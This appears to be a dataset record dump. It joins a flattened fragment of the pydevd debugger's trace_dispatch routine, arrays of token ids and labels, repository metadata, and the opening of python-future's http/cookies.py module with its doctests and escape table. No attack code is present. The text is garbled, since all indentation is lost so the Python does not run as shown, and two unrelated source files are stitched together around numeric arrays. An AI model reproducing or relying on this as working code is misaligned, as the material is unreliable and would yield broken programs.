if hasattr(condition, 'encode'):
condition = condition.encode('utf-8')
msg = 'Error while evaluating expression: %s\n' % (condition,)
sys.stderr.write(msg)
traceback.print_exc()
if not main_debugger.suspend_on_breakpoint_exception:
return self.trace_dispatch
else:
stop = True
try:
# add exception_type and stacktrace into thread additional info
etype, value, tb = sys.exc_info()
try:
error = ''.join(traceback.format_exception_only(etype, value))
stack = traceback.extract_stack(f=tb.tb_frame.f_back)
# On self.set_suspend(thread, CMD_SET_BREAK) this info will be
# sent to the client.
info.conditional_breakpoint_exception = \
('Condition:\n' + condition + '\n\nError:\n' + error, stack)
finally:
etype, value, tb = None, None, None
except:
traceback.print_exc()
if breakpoint.expression is not None:
try:
try:
val = eval(breakpoint.expression, new_frame.f_globals, new_frame.f_locals)
except:
val = sys.exc_info()[1]
finally:
if val is not None:
info.pydev_message = str(val)
if not main_debugger.first_breakpoint_reached:
if is_call:
back = frame.f_back
if back is not None:
# When we start debug session, we call execfile in pydevd run function. It produces an additional
# 'call' event for tracing and we stop on the first line of code twice.
_, back_filename, base = get_abs_path_real_path_and_base_from_frame(back)
if (base == DEBUG_START[0] and back.f_code.co_name == DEBUG_START[1]) or \
(base == DEBUG_START_PY3K[0] and back.f_code.co_name == DEBUG_START_PY3K[1]):
stop = False
main_debugger.first_breakpoint_reached = True
else:
# if the frame is traced after breakpoint stop,
# but the file should be ignored while stepping because of filters
if step_cmd != -1:
if main_debugger.is_filter_enabled and main_debugger.is_ignored_by_filters(filename):
# ignore files matching stepping filters
return self.trace_dispatch
if main_debugger.is_filter_libraries and main_debugger.not_in_scope(filename):
# ignore library files while stepping
return self.trace_dispatch
if main_debugger.show_return_values or main_debugger.remove_return_values_flag:
self.manage_return_values(main_debugger, frame, event, arg)
if stop:
self.set_suspend(thread, CMD_SET_BREAK)
if breakpoint and breakpoint.suspend_policy == "ALL":
main_debugger.suspend_all_other_threads(thread)
elif flag and plugin_manager is not None:
result = plugin_manager.suspend(main_debugger, thread, frame, bp_type)
if result:
frame = result
# if thread has a suspend flag, we suspend with a busy wait
if info.pydev_state == STATE_SUSPEND:
self.do_wait_suspend(thread, frame, event, arg)
return self.trace_dispatch
else:
if not breakpoint and not is_return:
# No stop from anyone and no breakpoint found in line (cache that).
frame_skips_cache[line_cache_key] = 0
except:
traceback.print_exc()
raise
#step handling. We stop when we hit the right frame
try:
should_skip = 0
if pydevd_dont_trace.should_trace_hook is not None:
if self.should_skip == -1:
# I.e.: cache the result on self.should_skip (no need to evaluate the same frame multiple times).
# Note that on a code reload, we won't re-evaluate this because in practice, the frame.f_code
# Which will be handled by this frame is read-only, so, we can cache it safely.
if not pydevd_dont_trace.should_trace_hook(frame, filename):
# -1, 0, 1 to be Cython-friendly
should_skip = self.should_skip = 1
else:
should_skip = self.should_skip = 0
else:
should_skip = self.should_skip
plugin_stop = False
if should_skip:
stop = False
elif step_cmd == CMD_STEP_INTO:
stop = is_line or is_return
if plugin_manager is not None:
result = plugin_manager.cmd_step_into(main_debugger, frame, event, self._args, stop_info, stop)
if result:
stop, plugin_stop = result
elif step_cmd == CMD_STEP_INTO_MY_CODE:
if not main_debugger.not_in_scope(frame.f_code.co_filename):
stop = is_line
elif step_cmd == CMD_STEP_OVER:
stop = stop_frame is frame and (is_line or is_return)
if frame.f_code.co_flags & CO_GENERATOR:
if is_return:
stop = False
if plugin_manager is not None:
result = plugin_manager.cmd_step_over(main_debugger, frame, event, self._args, stop_info, stop)
if result:
stop, plugin_stop = result
elif step_cmd == CMD_SMART_STEP_INTO:
stop = False
if info.pydev_smart_step_stop is frame:
info.pydev_func_name = '.invalid.' # Must match the type in cython
info.pydev_smart_step_stop = None
if is_line or is_exception_event:
curr_func_name = frame.f_code.co_name
#global context is set with an empty name
if curr_func_name in ('?', '<module>') or curr_func_name is None:
curr_func_name = ''
if curr_func_name == info.pydev_func_name:
stop = True
elif step_cmd == CMD_STEP_RETURN:
stop = is_return and stop_frame is frame
elif step_cmd == CMD_RUN_TO_LINE or step_cmd == CMD_SET_NEXT_STATEMENT:
stop = False
if is_line or is_exception_event:
#Yes, we can only act on line events (weird hum?)
#Note: This code is duplicated at pydevd.py
#Acting on exception events after debugger breaks with exception
curr_func_name = frame.f_code.co_name
#global context is set with an empty name
if curr_func_name in ('?', '<module>'):
curr_func_name = ''
if curr_func_name == info.pydev_func_name:
line = info.pydev_next_line
if frame.f_lineno == line:
stop = True
else:
if frame.f_trace is None:
frame.f_trace = self.trace_dispatch
frame.f_lineno = line
frame.f_trace = None
stop = True
else:
stop = False
if step_cmd != -1 and is_return and IS_PY3K and hasattr(frame, "f_back"):
f_code = getattr(frame.f_back, 'f_code', None)
if f_code is not None:
back_filename = os.path.basename(f_code.co_filename)
file_type = get_file_type(back_filename)
if file_type == PYDEV_FILE:
stop = False
if plugin_stop:
stopped_on_plugin = plugin_manager.stop(main_debugger, frame, event, self._args, stop_info, arg, step_cmd)
elif stop:
if is_line:
self.set_suspend(thread, step_cmd)
self.do_wait_suspend(thread, frame, event, arg)
else: #return event
back = frame.f_back
if back is not None:
#When we get to the pydevd run function, the debugging has actually finished for the main thread
#(note that it can still go on for other threads, but for this one, we just make it finish)
#So, just setting it to None should be OK
_, back_filename, base = get_abs_path_real_path_and_base_from_frame(back)
if base == DEBUG_START[0] and back.f_code.co_name == DEBUG_START[1]:
back = None
elif base == TRACE_PROPERTY:
# We dont want to trace the return event of pydevd_traceproperty (custom property for debugging)
#if we're in a return, we want it to appear to the user in the previous frame!
return None
elif pydevd_dont_trace.should_trace_hook is not None:
if not pydevd_dont_trace.should_trace_hook(back, back_filename):
# In this case, we'll have to skip the previous one because it shouldn't be traced.
# Also, we have to reset the tracing, because if the parent's parent (or some
# other parent) has to be traced and it's not currently, we wouldn't stop where
# we should anymore (so, a step in/over/return may not stop anywhere if no parent is traced).
# Related test: _debugger_case17a.py
main_debugger.set_trace_for_frame_and_parents(back, overwrite_prev_trace=True)
return None
if back is not None:
#if we're in a return, we want it to appear to the user in the previous frame!
self.set_suspend(thread, step_cmd)
self.do_wait_suspend(thread, back, event, arg)
else:
#in jython we may not have a back frame
info.pydev_step_stop = None
info.pydev_step_cmd = -1
info.pydev_state = STATE_RUN
except KeyboardInterrupt:
raise
except:
try:
traceback.print_exc()
info.pydev_step_cmd = -1
except:
return None
#if we are quitting, let's stop the tracing
retVal = None
if not main_debugger.quitting:
retVal = self.trace_dispatch
return retVal
finally:
info.is_tracing = False
#end trace_dispatch
|
apache-2.0
|
[
646,
26026,
199,
646,
747,
14,
515,
199,
646,
295,
199,
646,
984,
199,
646,
5190,
221,
327,
768,
497,
646,
199,
199,
504,
485,
23996,
63,
6469,
492,
29240,
63,
793,
199,
504,
485,
23996,
68,
63,
6469,
492,
29240,
68,
63,
18671,
63,
3446,
199,
504,
485,
23996,
68,
63,
6469,
492,
29240,
68,
63,
2936,
199,
504,
485,
23996,
68,
63,
6469,
14,
23996,
68,
63,
4785,
3438,
492,
664,
63,
1971,
63,
20081,
199,
504,
485,
23996,
68,
63,
6469,
14,
23996,
68,
63,
1404,
492,
25548,
63,
17988,
63,
3263,
10134,
2148,
63,
15375,
12,
25548,
63,
17988,
63,
9677,
12,
25548,
63,
17988,
63,
14336,
12,
25548,
63,
3597,
63,
14731,
12,
971,
272,
25548,
63,
17988,
63,
568,
2566,
12,
25548,
63,
4029,
2294,
63,
17988,
63,
568,
2566,
12,
25548,
63,
9390,
63,
2566,
63,
6174,
12,
25548,
63,
3597,
63,
21917,
63,
6689,
4479,
12,
25548,
63,
17988,
63,
568,
2566,
63,
12339,
63,
6012,
199,
504,
485,
23996,
68,
63,
6469,
14,
23996,
68,
63,
5559,
492,
11377,
63,
51,
28011,
3902,
12,
1211,
63,
6134,
12,
664,
63,
2671,
63,
344,
12,
11377,
63,
9390,
12,
1211,
63,
1661,
63,
1459,
12,
2281,
63,
4521,
19,
43,
12,
971,
272,
1211,
63,
1612,
12,
24646,
63,
15514,
63,
12511,
199,
504,
485,
23996,
68,
63,
6469,
14,
23996,
68,
63,
18671,
63,
3446,
63,
1725,
492,
577,
5994,
63,
20112,
12,
7843,
13260,
63,
3817,
199,
504,
485,
23996,
68,
63,
6469,
14,
23996,
68,
63,
1943,
63,
1208,
492,
1050,
63,
1971,
63,
475,
63,
1943,
12,
2951,
63,
21597,
199,
504,
485,
23996,
68,
63,
6469,
14,
23996,
68,
63,
1208,
492,
664,
63,
1886,
354,
63,
509,
63,
600,
199,
504,
29240,
68,
63,
493,
63,
1208,
492,
664,
63,
2101,
63,
515,
63,
3093,
63,
515,
63,
460,
63,
1095,
63,
504,
63,
1943,
199,
199,
893,
26,
272,
687,
6485,
492,
5099,
63,
12795,
6467,
199,
2590,
26,
272,
5099,
63,
12795,
6467,
275,
378,
199,
199,
893,
26,
272,
687,
485,
23996,
68,
63,
6469,
14,
23996,
68,
63,
5233,
492,
3222,
63,
5233,
63,
1250,
63,
3446,
12,
3222,
63,
5233,
63,
1107,
63,
3446,
199,
2590,
3545,
26,
272,
347,
3222,
63,
5233,
63,
1250,
63,
3446,
2031,
589,
12,
1011,
958,
304,
267,
986,
199,
199,
4846,
275,
747,
14,
515,
14,
4846,
199,
199,
11209,
63,
15375,
63,
6967,
275,
295,
14,
2014,
360,
4735,
3,
3672,
3,
2795,
32,
9495,
1726,
358,
199,
5287,
63,
7363,
275,
661,
23996,
68,
14,
647,
297,
283,
1065,
358,
199,
5287,
63,
7363,
63,
4521,
19,
43,
275,
12331,
23996,
63,
1628,
493,
14,
647,
297,
283,
1628,
493,
358,
199,
20112,
63,
25091,
275,
283,
23996,
68,
63,
3446,
1829,
14,
647,
7,
199,
362,
63,
493,
63,
466,
275,
577,
5994,
63,
20112,
14,
362,
421,
199,
14813,
12813,
18673,
199,
3,
1611,
2846,
3160,
199,
14813,
12813,
18673,
199,
3,
8036,
5638,
445,
57,
8472,
199,
3,
286,
318,
1021,
1611,
2846,
3160,
26,
199,
3,
22325,
899,
199,
533,
1611,
2846,
3160,
26,
272,
1449,
2765,
7704,
314,
23465,
367,
282,
1627,
2787,
12,
880,
12,
314,
3307,
63,
6052,
272,
365,
1202,
22801,
1380,
781,
9509,
1901,
282,
892,
1067,
661,
1250,
358,
436,
2066,
272,
365,
24826,
367,
314,
8039,
1067,
14,
272,
1449,
272,
327,
5070,
1914,
38,
2378,
327,
7443,
26,
1021,
334,
460,
440,
1256,
9,
3004,
14,
339,
327,
8479,
8377,
315,
314,
2446,
14958,
1325,
1454,
11201,
316,
314,
570,
4072,
12,
1830,
314,
1373,
315,
314,
2446,
14958,
272,
327,
388,
338,
7735,
314,
922,
1324,
334,
1152,
12,
314,
3503,
754,
1471,
506,
282,
4263,
402,
3865,
680,
272,
1788,
63,
475,
63,
1278,
63,
4509,
63,
3924,
63,
1530,
63,
11996,
275,
1052,
272,
1788,
63,
475,
63,
3736,
63,
815,
275,
1052,
339,
327,
8036,
5638,
445,
57,
8472,
272,
327,
286,
318,
2008,
485,
589,
272,
327,
286,
318,
1109,
1077,
63,
2759,
272,
327,
347,
636,
826,
721,
277,
12,
2008,
1249,
304,
272,
327,
258,
291,
423,
589,
275,
1249,
327,
1010,
314,
29348,
1015,
781,
2793,
1133,
1929,
370,
986,
314,
2787,
272,
327,
258,
291,
14,
5626,
63,
2759,
275,
446,
17,
221,
327,
4068,
29348,
1759,
1015,
12,
5324,
315,
1256,
14,
272,
327,
22325,
899,
272,
1077,
63,
2759,
275,
446,
17,
221,
327,
3758,
574,
315,
1021,
334,
524,
315,
1256,
641,
663,
680,
339,
347,
636,
826,
721,
277,
12,
1249,
304,
267,
327,
589,
275,
2446,
63,
17612,
12,
1788,
12,
1300,
12,
2256,
12,
307,
12,
2787,
267,
327,
8048,
439,
12,
8298,
12930,
2419,
32670,
315,
291,
436,
2066,
10232,
652,
687,
291,
2945,
641,
267,
291,
423,
589,
275,
1249,
272,
327,
5070,
1914,
38,
339,
347,
663,
63,
14480,
8,
277,
12,
627,
589,
12,
1011,
958,
304,
267,
291,
423,
589,
59,
16,
1055,
409,
63,
14480,
2031,
589,
12,
1011,
958,
9,
339,
347,
886,
63,
2573,
63,
14480,
8,
277,
12,
627,
589,
12,
1011,
958,
304,
267,
291,
423,
589,
59,
16,
1055,
1117,
63,
2573,
63,
14480,
2031,
589,
12,
1011,
958,
9,
339,
327,
8036,
5638,
445,
57,
8472,
272,
327,
347,
3307,
63,
1971,
8,
277,
12,
2787,
12,
620,
1566,
12,
1680,
304,
272,
327,
258,
286,
318,
330,
442,
3305,
27,
272,
327,
22325,
899,
272,
347,
3307,
63,
1971,
8,
277,
12,
2787,
12,
1566,
12,
1680,
304,
272,
327,
5070,
1914,
38,
267,
340,
1566,
508,
283,
1971,
356,
288,
3305,
12,
2787,
275,
291,
14,
5626,
63,
2379,
63,
265,
63,
1971,
8,
1943,
12,
1566,
12,
1680,
9,
953,
340,
3305,
26,
355,
291,
14,
2479,
63,
1971,
8,
1943,
12,
1566,
12,
1680,
9,
355,
372,
291,
14,
3446,
63,
6052,
398,
372,
291,
14,
3446,
63,
1971,
339,
347,
3307,
63,
1107,
8,
277,
12,
2787,
12,
1566,
12,
1680,
304,
267,
340,
1566,
508,
283,
1107,
356,
288,
2446,
63,
17612,
12,
1788,
275,
291,
423,
589,
59,
16,
467
] |
[
26026,
199,
646,
747,
14,
515,
199,
646,
295,
199,
646,
984,
199,
646,
5190,
221,
327,
768,
497,
646,
199,
199,
504,
485,
23996,
63,
6469,
492,
29240,
63,
793,
199,
504,
485,
23996,
68,
63,
6469,
492,
29240,
68,
63,
18671,
63,
3446,
199,
504,
485,
23996,
68,
63,
6469,
492,
29240,
68,
63,
2936,
199,
504,
485,
23996,
68,
63,
6469,
14,
23996,
68,
63,
4785,
3438,
492,
664,
63,
1971,
63,
20081,
199,
504,
485,
23996,
68,
63,
6469,
14,
23996,
68,
63,
1404,
492,
25548,
63,
17988,
63,
3263,
10134,
2148,
63,
15375,
12,
25548,
63,
17988,
63,
9677,
12,
25548,
63,
17988,
63,
14336,
12,
25548,
63,
3597,
63,
14731,
12,
971,
272,
25548,
63,
17988,
63,
568,
2566,
12,
25548,
63,
4029,
2294,
63,
17988,
63,
568,
2566,
12,
25548,
63,
9390,
63,
2566,
63,
6174,
12,
25548,
63,
3597,
63,
21917,
63,
6689,
4479,
12,
25548,
63,
17988,
63,
568,
2566,
63,
12339,
63,
6012,
199,
504,
485,
23996,
68,
63,
6469,
14,
23996,
68,
63,
5559,
492,
11377,
63,
51,
28011,
3902,
12,
1211,
63,
6134,
12,
664,
63,
2671,
63,
344,
12,
11377,
63,
9390,
12,
1211,
63,
1661,
63,
1459,
12,
2281,
63,
4521,
19,
43,
12,
971,
272,
1211,
63,
1612,
12,
24646,
63,
15514,
63,
12511,
199,
504,
485,
23996,
68,
63,
6469,
14,
23996,
68,
63,
18671,
63,
3446,
63,
1725,
492,
577,
5994,
63,
20112,
12,
7843,
13260,
63,
3817,
199,
504,
485,
23996,
68,
63,
6469,
14,
23996,
68,
63,
1943,
63,
1208,
492,
1050,
63,
1971,
63,
475,
63,
1943,
12,
2951,
63,
21597,
199,
504,
485,
23996,
68,
63,
6469,
14,
23996,
68,
63,
1208,
492,
664,
63,
1886,
354,
63,
509,
63,
600,
199,
504,
29240,
68,
63,
493,
63,
1208,
492,
664,
63,
2101,
63,
515,
63,
3093,
63,
515,
63,
460,
63,
1095,
63,
504,
63,
1943,
199,
199,
893,
26,
272,
687,
6485,
492,
5099,
63,
12795,
6467,
199,
2590,
26,
272,
5099,
63,
12795,
6467,
275,
378,
199,
199,
893,
26,
272,
687,
485,
23996,
68,
63,
6469,
14,
23996,
68,
63,
5233,
492,
3222,
63,
5233,
63,
1250,
63,
3446,
12,
3222,
63,
5233,
63,
1107,
63,
3446,
199,
2590,
3545,
26,
272,
347,
3222,
63,
5233,
63,
1250,
63,
3446,
2031,
589,
12,
1011,
958,
304,
267,
986,
199,
199,
4846,
275,
747,
14,
515,
14,
4846,
199,
199,
11209,
63,
15375,
63,
6967,
275,
295,
14,
2014,
360,
4735,
3,
3672,
3,
2795,
32,
9495,
1726,
358,
199,
5287,
63,
7363,
275,
661,
23996,
68,
14,
647,
297,
283,
1065,
358,
199,
5287,
63,
7363,
63,
4521,
19,
43,
275,
12331,
23996,
63,
1628,
493,
14,
647,
297,
283,
1628,
493,
358,
199,
20112,
63,
25091,
275,
283,
23996,
68,
63,
3446,
1829,
14,
647,
7,
199,
362,
63,
493,
63,
466,
275,
577,
5994,
63,
20112,
14,
362,
421,
199,
14813,
12813,
18673,
199,
3,
1611,
2846,
3160,
199,
14813,
12813,
18673,
199,
3,
8036,
5638,
445,
57,
8472,
199,
3,
286,
318,
1021,
1611,
2846,
3160,
26,
199,
3,
22325,
899,
199,
533,
1611,
2846,
3160,
26,
272,
1449,
2765,
7704,
314,
23465,
367,
282,
1627,
2787,
12,
880,
12,
314,
3307,
63,
6052,
272,
365,
1202,
22801,
1380,
781,
9509,
1901,
282,
892,
1067,
661,
1250,
358,
436,
2066,
272,
365,
24826,
367,
314,
8039,
1067,
14,
272,
1449,
272,
327,
5070,
1914,
38,
2378,
327,
7443,
26,
1021,
334,
460,
440,
1256,
9,
3004,
14,
339,
327,
8479,
8377,
315,
314,
2446,
14958,
1325,
1454,
11201,
316,
314,
570,
4072,
12,
1830,
314,
1373,
315,
314,
2446,
14958,
272,
327,
388,
338,
7735,
314,
922,
1324,
334,
1152,
12,
314,
3503,
754,
1471,
506,
282,
4263,
402,
3865,
680,
272,
1788,
63,
475,
63,
1278,
63,
4509,
63,
3924,
63,
1530,
63,
11996,
275,
1052,
272,
1788,
63,
475,
63,
3736,
63,
815,
275,
1052,
339,
327,
8036,
5638,
445,
57,
8472,
272,
327,
286,
318,
2008,
485,
589,
272,
327,
286,
318,
1109,
1077,
63,
2759,
272,
327,
347,
636,
826,
721,
277,
12,
2008,
1249,
304,
272,
327,
258,
291,
423,
589,
275,
1249,
327,
1010,
314,
29348,
1015,
781,
2793,
1133,
1929,
370,
986,
314,
2787,
272,
327,
258,
291,
14,
5626,
63,
2759,
275,
446,
17,
221,
327,
4068,
29348,
1759,
1015,
12,
5324,
315,
1256,
14,
272,
327,
22325,
899,
272,
1077,
63,
2759,
275,
446,
17,
221,
327,
3758,
574,
315,
1021,
334,
524,
315,
1256,
641,
663,
680,
339,
347,
636,
826,
721,
277,
12,
1249,
304,
267,
327,
589,
275,
2446,
63,
17612,
12,
1788,
12,
1300,
12,
2256,
12,
307,
12,
2787,
267,
327,
8048,
439,
12,
8298,
12930,
2419,
32670,
315,
291,
436,
2066,
10232,
652,
687,
291,
2945,
641,
267,
291,
423,
589,
275,
1249,
272,
327,
5070,
1914,
38,
339,
347,
663,
63,
14480,
8,
277,
12,
627,
589,
12,
1011,
958,
304,
267,
291,
423,
589,
59,
16,
1055,
409,
63,
14480,
2031,
589,
12,
1011,
958,
9,
339,
347,
886,
63,
2573,
63,
14480,
8,
277,
12,
627,
589,
12,
1011,
958,
304,
267,
291,
423,
589,
59,
16,
1055,
1117,
63,
2573,
63,
14480,
2031,
589,
12,
1011,
958,
9,
339,
327,
8036,
5638,
445,
57,
8472,
272,
327,
347,
3307,
63,
1971,
8,
277,
12,
2787,
12,
620,
1566,
12,
1680,
304,
272,
327,
258,
286,
318,
330,
442,
3305,
27,
272,
327,
22325,
899,
272,
347,
3307,
63,
1971,
8,
277,
12,
2787,
12,
1566,
12,
1680,
304,
272,
327,
5070,
1914,
38,
267,
340,
1566,
508,
283,
1971,
356,
288,
3305,
12,
2787,
275,
291,
14,
5626,
63,
2379,
63,
265,
63,
1971,
8,
1943,
12,
1566,
12,
1680,
9,
953,
340,
3305,
26,
355,
291,
14,
2479,
63,
1971,
8,
1943,
12,
1566,
12,
1680,
9,
355,
372,
291,
14,
3446,
63,
6052,
398,
372,
291,
14,
3446,
63,
1971,
339,
347,
3307,
63,
1107,
8,
277,
12,
2787,
12,
1566,
12,
1680,
304,
267,
340,
1566,
508,
283,
1107,
356,
288,
2446,
63,
17612,
12,
1788,
275,
291,
423,
589,
59,
16,
467,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
rfguri/vimfiles
|
bundle/ycm/third_party/ycmd/third_party/python-future/src/future/backports/http/cookies.py
|
78
|
21569
|
####
# Copyright 2000 by Timothy O'Malley <timo@alum.mit.edu>
#
# All Rights Reserved
#
# Permission to use, copy, modify, and distribute this software
# and its documentation for any purpose and without fee is hereby
# granted, provided that the above copyright notice appear in all
# copies and that both that copyright notice and this permission
# notice appear in supporting documentation, and that the name of
# Timothy O'Malley not be used in advertising or publicity
# pertaining to distribution of the software without specific, written
# prior permission.
#
# Timothy O'Malley DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS
# SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
# AND FITNESS, IN NO EVENT SHALL Timothy O'Malley BE LIABLE FOR
# ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
# WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS
# ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
# PERFORMANCE OF THIS SOFTWARE.
#
####
#
# Id: Cookie.py,v 2.29 2000/08/23 05:28:49 timo Exp
# by Timothy O'Malley <timo@alum.mit.edu>
#
# Cookie.py is a Python module for the handling of HTTP
# cookies as a Python dictionary. See RFC 2109 for more
# information on cookies.
#
# The original idea to treat Cookies as a dictionary came from
# Dave Mitchell (davem@magnet.com) in 1995, when he released the
# first version of nscookie.py.
#
####
r"""
http.cookies module ported to python-future from Py3.3
Here's a sample session to show how to use this module.
At the moment, this is the only documentation.
The Basics
----------
Importing is easy...
>>> from http import cookies
Most of the time you start by creating a cookie.
>>> C = cookies.SimpleCookie()
Once you've created your Cookie, you can add values just as if it were
a dictionary.
>>> C = cookies.SimpleCookie()
>>> C["fig"] = "newton"
>>> C["sugar"] = "wafer"
>>> C.output()
'Set-Cookie: fig=newton\r\nSet-Cookie: sugar=wafer'
Notice that the printable representation of a Cookie is the
appropriate format for a Set-Cookie: header. This is the
default behavior. You can change the header and printed
attributes by using the .output() function
>>> C = cookies.SimpleCookie()
>>> C["rocky"] = "road"
>>> C["rocky"]["path"] = "/cookie"
>>> print(C.output(header="Cookie:"))
Cookie: rocky=road; Path=/cookie
>>> print(C.output(attrs=[], header="Cookie:"))
Cookie: rocky=road
The load() method of a Cookie extracts cookies from a string. In a
CGI script, you would use this method to extract the cookies from the
HTTP_COOKIE environment variable.
>>> C = cookies.SimpleCookie()
>>> C.load("chips=ahoy; vienna=finger")
>>> C.output()
'Set-Cookie: chips=ahoy\r\nSet-Cookie: vienna=finger'
The load() method is darn-tootin smart about identifying cookies
within a string. Escaped quotation marks, nested semicolons, and other
such trickeries do not confuse it.
>>> C = cookies.SimpleCookie()
>>> C.load('keebler="E=everybody; L=\\"Loves\\"; fudge=\\012;";')
>>> print(C)
Set-Cookie: keebler="E=everybody; L=\"Loves\"; fudge=\012;"
Each element of the Cookie also supports all of the RFC 2109
Cookie attributes. Here's an example which sets the Path
attribute.
>>> C = cookies.SimpleCookie()
>>> C["oreo"] = "doublestuff"
>>> C["oreo"]["path"] = "/"
>>> print(C)
Set-Cookie: oreo=doublestuff; Path=/
Each dictionary element has a 'value' attribute, which gives you
back the value associated with the key.
>>> C = cookies.SimpleCookie()
>>> C["twix"] = "none for you"
>>> C["twix"].value
'none for you'
The SimpleCookie expects that all values should be standard strings.
Just to be sure, SimpleCookie invokes the str() builtin to convert
the value to a string, when the values are set dictionary-style.
>>> C = cookies.SimpleCookie()
>>> C["number"] = 7
>>> C["string"] = "seven"
>>> C["number"].value
'7'
>>> C["string"].value
'seven'
>>> C.output()
'Set-Cookie: number=7\r\nSet-Cookie: string=seven'
Finis.
"""
from __future__ import unicode_literals
from __future__ import print_function
from __future__ import division
from __future__ import absolute_import
from future.builtins import chr, dict, int, str
from future.utils import PY2, as_native_str
#
# Import our required modules
#
import re
re.ASCII = 0 # for py2 compatibility
import string
__all__ = ["CookieError", "BaseCookie", "SimpleCookie"]
_nulljoin = ''.join
_semispacejoin = '; '.join
_spacejoin = ' '.join
#
# Define an exception visible to External modules
#
class CookieError(Exception):
pass
# These quoting routines conform to the RFC2109 specification, which in
# turn references the character definitions from RFC2068. They provide
# a two-way quoting algorithm. Any non-text character is translated
# into a 4 character sequence: a forward-slash followed by the
# three-digit octal equivalent of the character. Any '\' or '"' is
# quoted with a preceeding '\' slash.
#
# These are taken from RFC2068 and RFC2109.
# _LegalChars is the list of chars which don't require "'s
# _Translator hash-table for fast quoting
#
_LegalChars = string.ascii_letters + string.digits + "!#$%&'*+-.^_`|~:"
_Translator = {
'\000' : '\\000', '\001' : '\\001', '\002' : '\\002',
'\003' : '\\003', '\004' : '\\004', '\005' : '\\005',
'\006' : '\\006', '\007' : '\\007', '\010' : '\\010',
'\011' : '\\011', '\012' : '\\012', '\013' : '\\013',
'\014' : '\\014', '\015' : '\\015', '\016' : '\\016',
'\017' : '\\017', '\020' : '\\020', '\021' : '\\021',
'\022' : '\\022', '\023' : '\\023', '\024' : '\\024',
'\025' : '\\025', '\026' : '\\026', '\027' : '\\027',
'\030' : '\\030', '\031' : '\\031', '\032' : '\\032',
'\033' : '\\033', '\034' : '\\034', '\035' : '\\035',
'\036' : '\\036', '\037' : '\\037',
# Because of the way browsers really handle cookies (as opposed
# to what the RFC says) we also encode , and ;
',' : '\\054', ';' : '\\073',
'"' : '\\"', '\\' : '\\\\',
'\177' : '\\177', '\200' : '\\200', '\201' : '\\201',
'\202' : '\\202', '\203' : '\\203', '\204' : '\\204',
'\205' : '\\205', '\206' : '\\206', '\207' : '\\207',
'\210' : '\\210', '\211' : '\\211', '\212' : '\\212',
'\213' : '\\213', '\214' : '\\214', '\215' : '\\215',
'\216' : '\\216', '\217' : '\\217', '\220' : '\\220',
'\221' : '\\221', '\222' : '\\222', '\223' : '\\223',
'\224' : '\\224', '\225' : '\\225', '\226' : '\\226',
'\227' : '\\227', '\230' : '\\230', '\231' : '\\231',
'\232' : '\\232', '\233' : '\\233', '\234' : '\\234',
'\235' : '\\235', '\236' : '\\236', '\237' : '\\237',
'\240' : '\\240', '\241' : '\\241', '\242' : '\\242',
'\243' : '\\243', '\244' : '\\244', '\245' : '\\245',
'\246' : '\\246', '\247' : '\\247', '\250' : '\\250',
'\251' : '\\251', '\252' : '\\252', '\253' : '\\253',
'\254' : '\\254', '\255' : '\\255', '\256' : '\\256',
'\257' : '\\257', '\260' : '\\260', '\261' : '\\261',
'\262' : '\\262', '\263' : '\\263', '\264' : '\\264',
'\265' : '\\265', '\266' : '\\266', '\267' : '\\267',
'\270' : '\\270', '\271' : '\\271', '\272' : '\\272',
'\273' : '\\273', '\274' : '\\274', '\275' : '\\275',
'\276' : '\\276', '\277' : '\\277', '\300' : '\\300',
'\301' : '\\301', '\302' : '\\302', '\303' : '\\303',
'\304' : '\\304', '\305' : '\\305', '\306' : '\\306',
'\307' : '\\307', '\310' : '\\310', '\311' : '\\311',
'\312' : '\\312', '\313' : '\\313', '\314' : '\\314',
'\315' : '\\315', '\316' : '\\316', '\317' : '\\317',
'\320' : '\\320', '\321' : '\\321', '\322' : '\\322',
'\323' : '\\323', '\324' : '\\324', '\325' : '\\325',
'\326' : '\\326', '\327' : '\\327', '\330' : '\\330',
'\331' : '\\331', '\332' : '\\332', '\333' : '\\333',
'\334' : '\\334', '\335' : '\\335', '\336' : '\\336',
'\337' : '\\337', '\340' : '\\340', '\341' : '\\341',
'\342' : '\\342', '\343' : '\\343', '\344' : '\\344',
